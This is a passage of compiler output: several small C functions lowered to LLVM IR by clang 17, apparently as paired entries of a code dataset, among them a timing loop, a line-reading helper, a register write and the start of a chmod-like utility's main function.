store i64 0, ptr %15, align 8
%17 = load i64, ptr %15, align 8
%18 = load i64, ptr %10, align 8
%19 = icmp ult i64 %17, %18
br i1 %19, label %.lr.ph, label %34
.lr.ph: ; preds = %5
br label %20
20: ; preds = %.lr.ph, %28
%21 = load ptr, ptr %6, align 8
%22 = load ptr, ptr %8, align 8
%23 = load i64, ptr %15, align 8
%24 = getelementptr inbounds i8, ptr %22, i64 %23
%25 = load ptr, ptr %9, align 8
%26 = load i64, ptr %15, align 8
%27 = getelementptr inbounds i8, ptr %25, i64 %26
call void %21(ptr noundef %24, ptr noundef %27)
br label %28
28: ; preds = %20
%29 = load i64, ptr %15, align 8
%30 = add i64 %29, 1
store i64 %30, ptr %15, align 8
%31 = load i64, ptr %15, align 8
%32 = load i64, ptr %10, align 8
%33 = icmp ult i64 %31, %32
br i1 %33, label %20, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %28
br label %34
34: ; preds = %._crit_edge, %5
%35 = call i32 @gettimeofday(ptr noundef %12, ptr noundef null)
%36 = getelementptr inbounds %struct.timeval, ptr %12, i32 0, i32 0
%37 = load i32, ptr %36, align 4
%38 = getelementptr inbounds %struct.timeval, ptr %11, i32 0, i32 0
%39 = load i32, ptr %38, align 4
%40 = sub nsw i32 %37, %39
%41 = sitofp i32 %40 to double
%42 = getelementptr inbounds %struct.timeval, ptr %12, i32 0, i32 1
%43 = load i32, ptr %42, align 4
%44 = getelementptr inbounds %struct.timeval, ptr %11, i32 0, i32 1
%45 = load i32, ptr %44, align 4
%46 = sub nsw i32 %43, %45
%47 = sitofp i32 %46 to double
%48 = call double @llvm.fmuladd.f64(double 0x3EB0C6F7A0B5ED8D, double %47, double %41)
store double %48, ptr %13, align 8
%49 = load i64, ptr %10, align 8
%50 = mul i64 3, %49
%51 = uitofp i64 %50 to double
%52 = load double, ptr %13, align 8
%53 = fdiv double %51, %52
%54 = fdiv double %53, 1.000000e+06
store double %54, ptr %14, align 8
%55 = load i32, ptr @stderr, align 4
%56 = load ptr, ptr %7, align 8
%57 = load i64, ptr %10, align 8
%58 = mul i64 3, %57
%59 = load double, ptr %13, align 8
%60 = fmul double 1.000000e+03, %59
%61 = load double, ptr %14, align 8
%62 = call i32 (i32, ptr, ptr, ...) @fprintf(i32 noundef %55, ptr noundef @.str, ptr noundef %56, i64 noundef %58, double noundef %60, double noundef %61)
%63 = load ptr, ptr %8, align 8
%64 = getelementptr inbounds i8, ptr %63, i64 16
store i8 0, ptr %64, align 1
%65 = load i32, ptr @stderr, align 4
%66 = load ptr, ptr %8, align 8
%67 = call i32 (i32, ptr, ptr, ...) @fprintf(i32 noundef %65, ptr noundef @.str.1, ptr noundef %66)
ret void
}
declare i32 @gettimeofday(ptr noundef, ptr noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp3n1cqmwz.c'
source_filename = "/tmp/tmp3n1cqmwz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @xmain() #0 {
%1 = call i32 (...) @main()
ret i32 %1
}
declare i32 @main(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3n1cqmwz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @xmain() #0 {
%1 = call i32 (...) @main()
ret i32 %1
}
declare i32 @main(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpg81rsajw.c'
source_filename = "/tmp/tmpg81rsajw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@ASN1_F_ASN1_COLLECT = dso_local global i32 0, align 4
@ASN1_R_MISSING_EOC = dso_local global i32 0, align 4
@ASN1_R_NESTED_ASN1_STRING = dso_local global i32 0, align 4
@ASN1_R_UNEXPECTED_EOC = dso_local global i32 0, align 4
@ERR_R_NESTED_ASN1_ERROR = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpg81rsajw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@ASN1_F_ASN1_COLLECT = dso_local global i32 0, align 4
@ASN1_R_MISSING_EOC = dso_local global i32 0, align 4
@ASN1_R_NESTED_ASN1_STRING = dso_local global i32 0, align 4
@ASN1_R_UNEXPECTED_EOC = dso_local global i32 0, align 4
@ERR_R_NESTED_ASN1_ERROR = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmplaz2e3ef.c'
source_filename = "/tmp/tmplaz2e3ef.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @EPIPSRAMConfigRegRead(i32 noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store i32 %1, ptr %4, align 4
%6 = load i32, ptr %4, align 4
%7 = icmp slt i32 %6, 2
br i1 %7, label %8, label %12
8: ; preds = %2
%9 = load i32, ptr %4, align 4
%10 = shl i32 %9, 2
%11 = add nsw i32 16, %10
store i32 %11, ptr %5, align 4
br label %17
12: ; preds = %2
%13 = load i32, ptr %4, align 4
%14 = sub nsw i32 %13, 2
%15 = shl i32 %14, 2
%16 = add nsw i32 776, %15
store i32 %16, ptr %5, align 4
br label %17
17: ; preds = %12, %8
%18 = load i32, ptr %3, align 4
%19 = load i32, ptr %5, align 4
%20 = add nsw i32 %18, %19
%21 = sext i32 %20 to i64
%22 = inttoptr i64 %21 to ptr
%23 = load volatile i32, ptr %22, align 4
%24 = or i32 %23, 131072
store volatile i32 %24, ptr %22, align 4
ret void
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmplaz2e3ef.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @EPIPSRAMConfigRegRead(i32 noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store i32 %1, ptr %4, align 4
%6 = load i32, ptr %4, align 4
%7 = icmp slt i32 %6, 2
br i1 %7, label %8, label %12
8: ; preds = %2
%9 = load i32, ptr %4, align 4
%10 = shl i32 %9, 2
%11 = add nsw i32 16, %10
store i32 %11, ptr %5, align 4
br label %17
12: ; preds = %2
%13 = load i32, ptr %4, align 4
%14 = sub nsw i32 %13, 2
%15 = shl i32 %14, 2
%16 = add nsw i32 776, %15
store i32 %16, ptr %5, align 4
br label %17
17: ; preds = %12, %8
%18 = load i32, ptr %3, align 4
%19 = load i32, ptr %5, align 4
%20 = add nsw i32 %18, %19
%21 = sext i32 %20 to i64
%22 = inttoptr i64 %21 to ptr
%23 = load volatile i32, ptr %22, align 4
%24 = or i32 %23, 131072
store volatile i32 %24, ptr %22, align 4
ret void
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpp11m0nu1.c'
source_filename = "/tmp/tmpp11m0nu1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @fgetline(ptr noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
store ptr %2, ptr %6, align 8
%9 = load ptr, ptr %4, align 8
%10 = load i32, ptr %5, align 4
%11 = load ptr, ptr %6, align 8
%12 = call ptr @fgets(ptr noundef %9, i32 noundef %10, ptr noundef %11)
store ptr %12, ptr %7, align 8
%13 = load ptr, ptr %7, align 8
%14 = icmp ne ptr %13, null
br i1 %14, label %15, label %23
15: ; preds = %3
%16 = load ptr, ptr %4, align 8
%17 = call ptr @strchr(ptr noundef %16, i8 noundef signext 10)
store ptr %17, ptr %8, align 8
%18 = icmp ne ptr %17, null
br i1 %18, label %19, label %23
19: ; preds = %15
%20 = load ptr, ptr %8, align 8
store i8 0, ptr %20, align 1
%21 = load ptr, ptr %6, align 8
%22 = call i32 @ungetc(i8 noundef signext 10, ptr noundef %21)
br label %23
23: ; preds = %19, %15, %3
%24 = load ptr, ptr %6, align 8
%25 = call i32 @ibufclean(ptr noundef %24)
%26 = load ptr, ptr %7, align 8
ret ptr %26
}
declare ptr @fgets(ptr noundef, i32 noundef, ptr noundef) #1
declare ptr @strchr(ptr noundef, i8 noundef signext) #1
declare i32 @ungetc(i8 noundef signext, ptr noundef) #1
declare i32 @ibufclean(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpp11m0nu1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @fgetline(ptr noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
store ptr %2, ptr %6, align 8
%9 = load ptr, ptr %4, align 8
%10 = load i32, ptr %5, align 4
%11 = load ptr, ptr %6, align 8
%12 = call ptr @fgets(ptr noundef %9, i32 noundef %10, ptr noundef %11)
store ptr %12, ptr %7, align 8
%13 = load ptr, ptr %7, align 8
%14 = icmp ne ptr %13, null
br i1 %14, label %15, label %23
15: ; preds = %3
%16 = load ptr, ptr %4, align 8
%17 = call ptr @strchr(ptr noundef %16, i8 noundef signext 10)
store ptr %17, ptr %8, align 8
%18 = icmp ne ptr %17, null
br i1 %18, label %19, label %23
19: ; preds = %15
%20 = load ptr, ptr %8, align 8
store i8 0, ptr %20, align 1
%21 = load ptr, ptr %6, align 8
%22 = call i32 @ungetc(i8 noundef signext 10, ptr noundef %21)
br label %23
23: ; preds = %19, %15, %3
%24 = load ptr, ptr %6, align 8
%25 = call i32 @ibufclean(ptr noundef %24)
%26 = load ptr, ptr %7, align 8
ret ptr %26
}
declare ptr @fgets(ptr noundef, i32 noundef, ptr noundef) #1
declare ptr @strchr(ptr noundef, i8 noundef signext) #1
declare i32 @ungetc(i8 noundef signext, ptr noundef) #1
declare i32 @ibufclean(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpaitul9mp.c'
source_filename = "/tmp/tmpaitul9mp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.TYPE_7__ = type { i64, i32, ptr, ptr, i32, i32 }
%struct.TYPE_6__ = type { i32 }
@.str = private unnamed_addr constant [17 x i8] c"HLPRXfghorstuvwx\00", align 1
@optind = dso_local global i64 0, align 8
@.str.1 = private unnamed_addr constant [53 x i8] c"the -R and -h options may not be specified together.\00", align 1
@FTS_LOGICAL = dso_local global i32 0, align 4
@FTS_PHYSICAL = dso_local global i32 0, align 4
@FTS_COMFOLLOW = dso_local global i32 0, align 4
@.str.2 = private unnamed_addr constant [22 x i8] c"invalid file mode: %s\00", align 1
@.str.3 = private unnamed_addr constant [9 x i8] c"fts_open\00", align 1
@FTS_ROOTLEVEL = dso_local global i64 0, align 8
@AT_SYMLINK_NOFOLLOW = dso_local global i32 0, align 4
@FTS_SKIP = dso_local global i32 0, align 4
@.str.4 = private unnamed_addr constant [7 x i8] c"%s: %s\00", align 1
@ALLPERMS = dso_local global i32 0, align 4
@AT_FDCWD = dso_local global i32 0, align 4
@.str.5 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@S_IFMT = dso_local global i32 0, align 4
@.str.6 = private unnamed_addr constant [23 x i8] c": 0%o [%s] -> 0%o [%s]\00", align 1
@.str.7 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
@errno = dso_local global i64 0, align 8
@.str.8 = private unnamed_addr constant [9 x i8] c"fts_read\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca ptr, align 8
%19 = alloca i32, align 4
%20 = alloca i32, align 4
%21 = alloca [12 x i8], align 1
%22 = alloca [12 x i8], align 1
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr null, ptr %8, align 8
store i32 0, ptr %17, align 4
store i32 0, ptr %15, align 4
store i32 0, ptr %13, align 4
store i32 0, ptr %11, align 4
store i32 0, ptr %10, align 4
store i32 0, ptr %9, align 4
br label %23
23: ; preds = %77, %2
%24 = load i32, ptr %4, align 4
%25 = load ptr, ptr %5, align 8
%26 = call i32 @getopt(i32 noundef %24, ptr noundef %25, ptr noundef @.str)
store i32 %26, ptr %12, align 4
%27 = icmp ne i32 %26, -1
br i1 %27, label %28, label %78
28: ; preds = %23
%29 = load i32, ptr %12, align 4
switch i32 %29, label %75 [
i32 72, label %30
i32 76, label %31
i32 80, label %32
i32 82, label %33
i32 102, label %34
i32 104, label %35
i32 103, label %36
i32 111, label %36
i32 114, label %36
i32 115, label %36
i32 116, label %36
i32 117, label %36
i32 119, label %36
i32 88, label %36
i32 120, label %36
i32 118, label %71
i32 63, label %74
]
30: ; preds = %28
store i32 1, ptr %9, align 4
store i32 0, ptr %10, align 4
br label %77
31: ; preds = %28
store i32 1, ptr %10, align 4
store i32 0, ptr %9, align 4
br label %77
32: ; preds = %28
store i32 0, ptr %10, align 4
store i32 0, ptr %9, align 4
br label %77
33: ; preds = %28
store i32 1, ptr %11, align 4
br label %77
34: ; preds = %28
store i32 1, ptr %13, align 4
br label %77
35: ; preds = %28
store i32 1, ptr %15, align 4
br label %77
36: ; preds = %28, %28, %28, %28, %28, %28, %28, %28, %28
%37 = load ptr, ptr %5, align 8
%38 = load i64, ptr @optind, align 8
%39 = sub i64 %38, 1
%40 = getelementptr inbounds ptr, ptr %37, i64 %39
%41 = load ptr, ptr %40, align 8
%42 = getelementptr inbounds i8, ptr %41, i64 0
%43 = load i8, ptr %42, align 1
%44 = sext i8 %43 to i32
%45 = icmp eq i32 %44, 45
br i1 %45, label %46, label %70
46: ; preds = %36
%47 = load ptr, ptr %5, align 8
%48 = load i64, ptr @optind, align 8
%49 = sub i64 %48, 1
%50 = getelementptr inbounds ptr, ptr %47, i64 %49
%51 = load ptr, ptr %50, align 8
%52 = getelementptr inbounds i8, ptr %51, i64 1
%53 = load i8, ptr %52, align 1
%54 = sext i8 %53 to i32
%55 = load i32, ptr %12, align 4
%56 = icmp eq i32 %54, %55
br i1 %56, label %57, label %70
57: ; preds = %46
%58 = load ptr, ptr %5, align 8
%59 = load i64, ptr @optind, align 8
%60 = sub i64 %59, 1
%61 = getelementptr inbounds ptr, ptr %58, i64 %60
%62 = load ptr, ptr %61, align 8
%63 = getelementptr inbounds i8, ptr %62, i64 2
%64 = load i8, ptr %63, align 1
%65 = sext i8 %64 to i32
%66 = icmp eq i32 %65, 0
br i1 %66, label %67, label %70
67: ; preds = %57
%68 = load i64, ptr @optind, align 8
%69 = add i64 %68, -1
store i64 %69, ptr @optind, align 8
br label %70
70: ; preds = %67, %57, %46, %36
br label %79
71: ; preds = %28
%72 = load i32, ptr %17, align 4
%73 = add nsw i32 %72, 1
store i32 %73, ptr %17, align 4
br label %77
74: ; preds = %28
br label %75
75: ; preds = %28, %74
%76 = call i32 (...) @usage()
br label %77
77: ; preds = %75, %71, %35, %34, %33, %32, %31, %30
br label %23, !llvm.loop !6
78: ; preds = %23
br label %79
79: ; preds = %78, %70
%80 = load i64, ptr @optind, align 8
%81 = load ptr, ptr %5, align 8
%82 = getelementptr inbounds ptr, ptr %81, i64 %80
store ptr %82, ptr %5, align 8
%83 = load i64, ptr @optind, align 8
%84 = load i32, ptr %4, align 4
%85 = sext i32 %84 to i64
%86 = sub i64 %85, %83
%87 = trunc i64 %86 to i32
store i32 %87, ptr %4, align 4
%88 = load i32, ptr %4, align 4
%89 = icmp slt i32 %88, 2
br i1 %89, label %90, label %92
90: ; preds = %79
%91 = call i32 (...) @usage()
br label %92
92: ; preds = %90, %79
%93 = load i32, ptr %11, align 4
%94 = icmp ne i32 %93, 0
br i1 %94, label %95, label %115
95: ; preds = %92
%96 = load i32, ptr %15, align 4
%97 = icmp ne i32 %96, 0
br i1 %97, label %98, label %100
98: ; preds = %95
%99 = call i32 (i32, ptr, ...) @errx(i32 noundef 1, ptr noundef @.str.1)
br label %100
100: ; preds = %98, %95
%101 = load i32, ptr %10, align 4
%102 = icmp ne i32 %101, 0
br i1 %102, label %103, label %105
103: ; preds = %100
%104 = load i32, ptr @FTS_LOGICAL, align 4
store i32 %104, ptr %14, align 4
br label %114
105: ; preds = %100
%106 = load i32, ptr @FTS_PHYSICAL, align 4
store i32 %106, ptr %14, align 4
%107 = load i32, ptr %9, align 4
%108 = icmp ne i32 %107, 0
br i1 %108, label %109, label %113
109: ; preds = %105
%110 = load i32, ptr @FTS_COMFOLLOW, align 4
%111 = load i32, ptr %14, align 4
%112 = or i32 %111, %110
store i32 %112, ptr %14, align 4
br label %113
113: ; preds = %109, %105
br label %114
114: ; preds = %113, %103
br label %123
115: ; preds = %92
%116 = load i32, ptr %15, align 4
%117 = icmp ne i32 %116, 0
br i1 %117, label %118, label %120
118: ; preds = %115
%119 = load i32, ptr @FTS_PHYSICAL, align 4
store i32 %119, ptr %14, align 4
br label %122
120: ; preds = %115
%121 = load i32, ptr @FTS_LOGICAL, align 4
store i32 %121, ptr %14, align 4
br label %122
122: ; preds = %120, %118
br label %123
123: ; preds = %122, %114
%124 = load ptr, ptr %5, align 8
%125 = load ptr, ptr %124, align 8
store ptr %125, ptr %18, align 8
%126 = load ptr, ptr %18, align 8
%127 = call ptr @setmode(ptr noundef %126)
store ptr %127, ptr %8, align 8
%128 = icmp eq ptr %127, null
br i1 %128, label %129, label %132
129: ; preds = %123
%130 = load ptr, ptr %18, align 8
%131 = call i32 (i32, ptr, ...) @errx(i32 noundef 1, ptr noundef @.str.2, ptr noundef %130)
br label %132
132: ; preds = %129, %123
%133 = load ptr, ptr %5, align 8
%134 = getelementptr inbounds ptr, ptr %133, i32 1
store ptr %134, ptr %5, align 8
%135 = load i32, ptr %14, align 4
%136 = call ptr @fts_open(ptr noundef %134, i32 noundef %135, i32 noundef 0)
store ptr %136, ptr %6, align 8
%137 = icmp eq ptr %136, null
br i1 %137, label %138, label %140
138: ; preds = %132
%139 = call i32 @err(i32 noundef 1, ptr noundef @.str.3)
br label %140
140: ; preds = %138, %132
store i32 0, ptr %16, align 4
br label %141
141: ; preds = %288, %221, %187, %186, %140
%142 = load ptr, ptr %6, align 8
%143 = call ptr @fts_read(ptr noundef %142)
store ptr %143, ptr %7, align 8
%144 = icmp ne ptr %143, null
br i1 %144, label %145, label %289
145: ; preds = %141
%146 = load i32, ptr %14, align 4
%147 = load i32, ptr @FTS_LOGICAL, align 4
%148 = and i32 %146, %147
%149 = icmp ne i32 %148, 0
br i1 %149, label %161, label %150
150: ; preds = %145
%151 = load i32, ptr %14, align 4
%152 = load i32, ptr @FTS_COMFOLLOW, align 4
%153 = and i32 %151, %152
%154 = icmp ne i32 %153, 0
br i1 %154, label %155, label %162
155: ; preds = %150
%156 = load ptr, ptr %7, align 8
%157 = getelementptr inbounds %struct.TYPE_7__, ptr %156, i32 0, i32 0
%158 = load i64, ptr %157, align 8
%159 = load i64, ptr @FTS_ROOTLEVEL, align 8
%160 = icmp eq i64 %158, %159
br i1 %160, label %161, label %162
161: ; preds = %155, %145
store i32 0, ptr %20, align 4
br label %164
162: ; preds = %155, %150
%163 = load i32, ptr @AT_SYMLINK_NOFOLLOW, align 4
store i32 %163, ptr %20, align 4
br label %164
164: ; preds = %162, %161
%165 = load ptr, ptr %7, align 8
%166 = getelementptr inbounds %struct.TYPE_7__, ptr %165, i32 0, i32 1
%167 = load i32, ptr %166, align 8
switch i32 %167, label %196 [
i32 132, label %168
i32 131, label %177
i32 130, label %186
i32 129, label %187
i32 128, label %187
]
168: ; preds = %164
%169 = load i32, ptr %11, align 4
%170 = icmp ne i32 %169, 0
br i1 %170, label %176, label %171
171: ; preds = %168
%172 = load ptr, ptr %6, align 8
%173 = load ptr, ptr %7, align 8
%174 = load i32, ptr @FTS_SKIP, align 4
%175 = call i32 @fts_set(ptr noundef %172, ptr noundef %173, i32 noundef %174)
br label %176
176: ; preds = %171, %168
br label %197
177: ; preds = %164
%178 = load ptr, ptr %7, align 8
%179 = getelementptr inbounds %struct.TYPE_7__, ptr %178, i32 0, i32 2
%180 = load ptr, ptr %179, align 8
%181 = load ptr, ptr %7, align 8
%182 = getelementptr inbounds %struct.TYPE_7__, ptr %181, i32 0, i32 5
%183 = load i32, ptr %182, align 4
%184 = call i32 @strerror(i32 noundef %183)
%185 = call i32 @warnx(ptr noundef @.str.4, ptr noundef %180, i32 noundef %184)
store i32 1, ptr %16, align 4
br label %197
186: ; preds = %164
br label %141, !llvm.loop !8
187: ; preds = %164, %164
%188 = load ptr, ptr %7, align 8
%189 = getelementptr inbounds %struct.TYPE_7__, ptr %188, i32 0, i32 2
%190 = load ptr, ptr %189, align 8
%191 = load ptr, ptr %7, align 8
%192 = getelementptr inbounds %struct.TYPE_7__, ptr %191, i32 0, i32 5
%193 = load i32, ptr %192, align 4
%194 = call i32 @strerror(i32 noundef %193)
%195 = call i32 @warnx(ptr noundef @.str.4, ptr noundef %190, i32 noundef %194)
store i32 1, ptr %16, align 4
br label %141, !llvm.loop !8
196: ; preds = %164
br label %197
197: ; preds = %196, %177, %176
%198 = load ptr, ptr %8, align 8
%199 = load ptr, ptr %7, align 8
%200 = getelementptr inbounds %struct.TYPE_7__, ptr %199, i32 0, i32 3
%201 = load ptr, ptr %200, align 8
